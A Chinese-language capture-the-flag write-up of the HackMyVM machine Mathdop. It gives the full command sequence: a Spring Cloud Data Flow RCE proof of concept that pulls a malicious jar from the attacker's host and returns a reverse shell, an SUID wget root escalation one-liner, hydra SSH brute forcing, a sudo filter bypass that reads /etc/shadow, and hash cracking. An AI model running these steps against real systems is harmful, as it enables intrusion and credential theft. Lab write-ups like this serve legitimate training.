Mathdop.

https://hackmyvm.eu/machines/machine.php?vm=Mathdop

Notes：Have fun！

前期踩点

➜  Mathdop nmap -sP 192.168.56.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-23 04:42 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00054s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00038s latency).
MAC Address: 08:00:27:2F:F3:93 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.52
Host is up (0.00041s latency).
MAC Address: 08:00:27:A2:D9:84 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.53
Host is up (0.00053s latency).
MAC Address: 08:00:27:F0:21:7B (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 15.05 seconds

➜  Mathdop nmap -sT -min-rate 10000 -p- 192.168.56.53       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-23 04:43 EDT
Nmap scan report for 192.168.56.53
Host is up (0.0061s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
7577/tcp open  unknown
9393/tcp open  unknown
MAC Address: 08:00:27:F0:21:7B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.78 seconds

7577 和 9393 都是和 Spring Cloud Data Flow 有关的

Spring Cloud Data Flow

在 http://192.168.56.53:9393/about 中能找到版本信息 2.11.3

该版本存在远程命令执行漏洞

POC 链接：https://github.com/XiaomingX/cve-2024-37084-Poc?tab=readme-ov-file

构建恶意 Payload 的 yaml 文件工具：https://github.com/artsploit/yaml-payload?tab=readme-ov-file

生成恶意 Payload 的 yaml 文件

克隆 https://github.com/artsploit/yaml-payload?tab=readme-ov-file 的仓库

修改 payload

➜  Mathdop vim yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java

打包

➜  Mathdop /usr/local/jdk1.8.0_202/bin/javac yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
➜  Mathdop jar -cvf givemeshell.jar -C yaml-payload/src/ .

开启恶意服务器

➜  Mathdop python -m http.server 8080

漏洞利用

开启监听

运行

python CVE-2024-37084-Poc.py --target_url http://192.168.56.53:7577/api/package/upload --version 5.0.0 --payload_url http://192.168.56.4:8080/givemeshell.jar --listen_ip 192.168.56.4 --listen_port 1234

接收到 shell

➜  Mathdop nc -lvp 1234
listening on [any] 1234 ...
192.168.56.53: inverse host lookup failed: Unknown host
connect to [192.168.56.4] from (UNKNOWN) [192.168.56.53] 51926
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
cnb@921567b128b2:/workspace$

提权

Docker 逃逸

是在容器里面，并且 cnb 家目录中能找到 note 文件

cnb@921567b128b2:~$ cat note
cat note
Hi mathlake
Long time no see, 256 is my favorite number. I know you are very interested in mathematics, but I have been struggling with a math problem recently. The method used is time series decomposition. I have sent you the data, and you can provide me with the mathematical expressions for T, S, and C (rounded to the nearest integer) corresponding to the month.
June 2025

是一道数学题，需要提供 T，S，C

你好，mathlake
好久不见，256 是我最喜欢的数字。我知道你对数学很感兴趣，但我最近一直在苦苦思索一道数学题。我用的方法是时间序列分解。我已经把数据发给你了，你可以提供对应月份的 T、S 和 C 的数学表达式（四舍五入到最接近的整数）。
2025 年 6 月

然后在 /var/mail 中能找到 mathlake，但是 cnb 用户咩办法读取

查看 SUID 情况

cnb@921567b128b2:/$ find -perm -u=s -type f 2>/dev/null                                                           
find -perm -u=s -type f 2>/dev/null                                                                               
./bin/mount                                                                                                       
./bin/su                                                                                                          
./bin/umount                                                                                                      
./usr/bin/chfn                                                                                                    
./usr/bin/chsh                                                                                                    
./usr/bin/gpasswd                                                                                                 
./usr/bin/newgrp                                                                                                  
./usr/bin/passwd                                                                                                  
./usr/local/bin/wget

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/bash -p\n/bin/bash -p 1>&0' >$TF
wget --use-askpass=$TF 0

id
uid=1000(cnb) gid=1000(cnb) euid=0(root) egid=0(root) groups=0(root),1000(cnb)
cd /root

应该不是 Docker 逃逸，因为 Note 的信息。然后之前在根据信息（I have sent you the data）在邮件中找到了mathlake ，但是之前没权限读不了，现在提升权限后就可以读了。

ls
data.xlsx
test.png
true.png

其中 data.xlsx 是我们需要的文件

这里开始就是数学题了…不会，直接喂给 GPT 了

给出了范围那么我们就写脚本来进行爆破，并且（256 是我最喜欢的数字）指的是结果需要使用sha256进行加密，再次佩服首杀的群友。

➜  Mathdop cat brute.sh      
#!/bin/bash

for i in {54..56};do
        for j in {-3..4};do
                for k in {0..1};do
                        echo "$i*$j*$k"|sha256sum|awk '{print $1}';
                done
        done
done

➜  Mathdop ./brute.sh > pass.txt

然后将脚本生成密码进行 SSH 爆破，使用 mathlake 作为用户名，在note中可以得到

➜  Mathdop hydra -l mathlake -P pass.txt -t 12 192.168.56.53 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-24 06:01:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 12 tasks per 1 server, overall 12 tasks, 48 login tries (l:1/p:48), ~4 tries per task
[DATA] attacking ssh://192.168.56.53:22/
[22][ssh] host: 192.168.56.53   login: mathlake   password: 9bd29d2c90998b5af05b3fdf10d9ab4c9eff53f2a827fbc39247200874ab6ca3
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-24 06:01:48

成功得到密码

➜  Mathdop ssh mathlake@192.168.56.53  
mathlake@192.168.56.53's password: 
Last failed login: Thu Apr 24 18:01:47 CST 2025 from 192.168.56.4 on ssh:notty
There were 63 failed login attempts since the last successful login.
Last login: Sun Mar 30 18:43:26 2025
[mathlake@mathdop ~]$

root

查看权限，可以以 root 权限执行 /opt/secure_input_handler.sh

[mathlake@mathdop ~]$ sudo -l
匹配 %2$s 上 %1$s 的默认条目：
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

用户 mathlake 可以在 mathdop 上运行以下命令：
    (ALL) NOPASSWD: /opt/secure_input_handler.sh

[mathlake@mathdop ~]$ sudo /opt/secure_input_handler.sh 
Input Command: ls
col: 无效或不完整的多字节字符或宽字符
[!] Decoding failed or input is too long
[mathlake@mathdop ~]$ sudo /opt/secure_input_handler.sh 
Input Command: whoami
col: 无效或不完整的多字节字符或宽字符
[!] Decoding failed or input is too long

查看一下源代码

[mathlake@mathdop ~]$ cat /opt/secure_input_handler.sh 
#!/bin/bash
export PATH="/usr/bin"

read -p "Input Command: " user_input

decoded_input=$(echo -n "$user_input" | base64 -d 2>/dev/null | tr -d '\r\0\a' | col -b)
if [[ ${#user_input} -gt 128 || -z "$decoded_input" ]]; then
    echo "[!] Decoding failed or input is too long" >&2
    exit 2
fi

filtered_input=$(echo "$decoded_input" | tr -cd 'a-zA-Z0-9\-_/ :.' | sed -e 's/[[:space:]]\+/ /g' -e 's/^[ \t]*//' -e 's/[ \t]*$//')

IFS=' ' read -ra cmd_args <<< "$filtered_input"
command="${cmd_args[0]}"
command_clean=$(echo "$command" | tr -d -c 'a-zA-Z0-9')

allowed_commands=("date" "pwd" "echo")
if ! printf "%s\n" "${allowed_commands[@]}" | grep -qxF "$command_clean"; then
    echo "[!] Illegal instruction: $command_clean" >&2
    exit 3
fi

/usr/bin/timeout 2 /usr/bin/bash -c "${filtered_input}"

路径设置：
- 脚本将 PATH 环境变量设置为 /usr/bin，确保只使用该目录中的可执行文件。
用户输入：
- 脚本提示用户输入（user_input），输入内容预期为 base64 编码的命令。
解码：
- 使用 base64 -d 解码用户输入。如果解码失败（如输入无效或命令过长），脚本会显示错误信息并退出。
- 解码后，脚本通过 tr -d '\r\0\a' 删除回车、空字符和响铃字符，并使用 col -b 规范化换行符。
输入清理：
- 通过 tr -cd 'a-zA-Z0-9\-_/ :.' 过滤掉不允许的字符，只保留字母、数字、破折号、下划线、斜杠、冒号和点。
- 使用 sed 去除多余的空格，将多个空格替换为一个，并去除行首和行尾的空白字符。
命令检查：
- 将清理后的输入拆分为命令和参数（使用空格分隔）。
- 只允许 date、pwd 和 echo 这三个命令执行。通过检查命令是否在 allowed_commands 数组中来确保其合法性。
- 如果命令不在允许的列表中，脚本会显示非法指令的错误信息并退出。
执行命令：
- 如果命令合法，脚本会使用 /usr/bin/timeout 2 限制命令执行时间为 2 秒，然后通过 /usr/bin/bash 执行过滤后的命令。

可以使用 Date 命令，Date 是可以用来读取文件的

读取 /etc/shadow

[mathlake@mathdop etc]$ sudo /opt/secure_input_handler.sh
Input Command: ZGF0ZSAtZiAvZXRjL3NoYWRvdwo=
date: 无效的日期"# Worth waiting for"
date: 无效的日期"# 9e9feaf74138c66fbaadba5a9da259c5"
date: 无效的日期"root:$6$WUx.0Qf6$/oYqJocLrdpGZJup8oAxMoxjJnZ3huUNKno6TObA/fcbax0yhptGiAP2pNcjJfsCQ0o5H2RgpyP6R/CiZh33m.:20177:0:99999:7:::"
date: 无效的日期"bin:*:18353:0:99999:7:::"
date: 无效的日期"daemon:*:18353:0:99999:7:::"
date: 无效的日期"adm:*:18353:0:99999:7:::"
date: 无效的日期"lp:*:18353:0:99999:7:::"
date: 无效的日期"sync:*:18353:0:99999:7:::"
date: 无效的日期"shutdown:*:18353:0:99999:7:::"
date: 无效的日期"halt:*:18353:0:99999:7:::"
date: 无效的日期"mail:*:18353:0:99999:7:::"
date: 无效的日期"operator:*:18353:0:99999:7:::"
date: 无效的日期"games:*:18353:0:99999:7:::"
date: 无效的日期"ftp:*:18353:0:99999:7:::"
date: 无效的日期"nobody:*:18353:0:99999:7:::"
date: 无效的日期"systemd-network:!!:20157::::::"
date: 无效的日期"dbus:!!:20157::::::"
date: 无效的日期"polkitd:!!:20157::::::"
date: 无效的日期"sshd:!!:20157::::::"
date: 无效的日期"postfix:!!:20157::::::"
date: 无效的日期"mathlake:$6$XdfsxCCu$sHnJOhJpbvkbW/aLnCE/4QyYVYW0j2DNSByRxiJ2pLuFJkXi8Yk.wD33.SEUxtTuZ3z1xYqchgilvmX2yzZsq.:20177:0:99999:7:::"

“值得等待”，可能是要进行爆破

date: 无效的日期"# Worth waiting for"
date: 无效的日期"# 9e9feaf74138c66fbaadba5a9da259c5"

没爆破出来，尝试一下爆破加密一下

root:$6$WUx.0Qf6$/oYqJocLrdpGZJup8oAxMoxjJnZ3huUNKno6TObA/fcbax0yhptGiAP2pNcjJfsCQ0o5H2RgpyP6R/CiZh33m.:20177:0:99999:7:::

Cracking

➜  Mathdop john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt pass
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:20:22 DONE (2025-04-24 06:56) 0g/s 11729p/s 11729c/s 11729C/s !&!!!(^*..*7¡Vamos!
Session completed.

挂了两节课没破解出来

最后看 WP 后发现 “Worth waiting for” 是密码

最后读取 user.txt 和 root.txt


[root@mathdop mathlake]# cat user.txt 
flag{d79b3daf297f1ad136284d93900c0fe8543a52eb}

[root@mathdop ~]# cat r00000000000000000000000000000000000000000000000000000t.txt 
flag{29975f78aafc266eaa88520357552917d1164964}

总结

获得初始立足点的 CVE 和之前碰到的 Nacos Client Yaml 反序列化很像（一模一样），所以没这么卡在开始。

第二部分数学题，真的不会，没学过数学了，然后就卡住了…

HackMyVM - Mathdop